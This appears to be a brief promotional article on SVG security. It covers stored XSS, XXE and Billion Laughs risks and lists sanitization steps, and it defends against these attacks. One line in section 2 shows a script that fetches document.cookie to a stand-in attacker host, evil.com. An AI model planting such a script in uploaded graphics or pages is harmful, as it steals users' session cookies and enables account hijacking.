SVG Security & Sanitization: Preventing XSS and XXE in Vector Graphics

1. The Dual Nature of Scalable Vector Graphics

Unlike raster image formats (such as JPEG and PNG) which encode raw compressed pixel matrices, an SVG file is executable XML markup. When rendered directly inline in the DOM or viewed standalone in a browser tab, the browser parses and executes XML instructions, scripts, and hyperlinks.

2. Common Attack Vectors in Untrusted SVG Files

• Stored Cross-Site Scripting (XSS): An attacker can embed active executable scripts (e.g., <script>fetch('https://evil.com/steal?c='+document.cookie)</script>) or event triggers (<svg onload="maliciousCode()">) within the graphic. If user-uploaded SVGs are served without strict Content-Security-Policy headers, session hijacking can occur.
• XML External Entity (XXE) Injection: Malicious DTD entities can attempt to coerce XML parsers into resolving local system files or executing Server-Side Request Forgery (SSRF).
• Denial of Service (Billion Laughs Attack): Exponentially expanding recursive XML entities can exhaust device memory during parsing.

3. Essential Sanitization Protocols

A rigorous SVG sanitization pipeline applies defensive transformations:

1. Removes all executable tags including <script>, <foreignObject>, and <iframe>.
2. Strips all JavaScript-based attribute listeners (such as onload, onerror, onmouseover).
3. Enforces safe URI schemes, stripping dangerous javascript: and unvetted data: protocols from xlink:href attributes.
4. Neutralizes DOCTYPE declarations and external entity lookups.

4. Clean and Harden Your SVGs

Sanitize and optimize your vector graphics securely in-browser with our SVG Cleaner & Optimizer.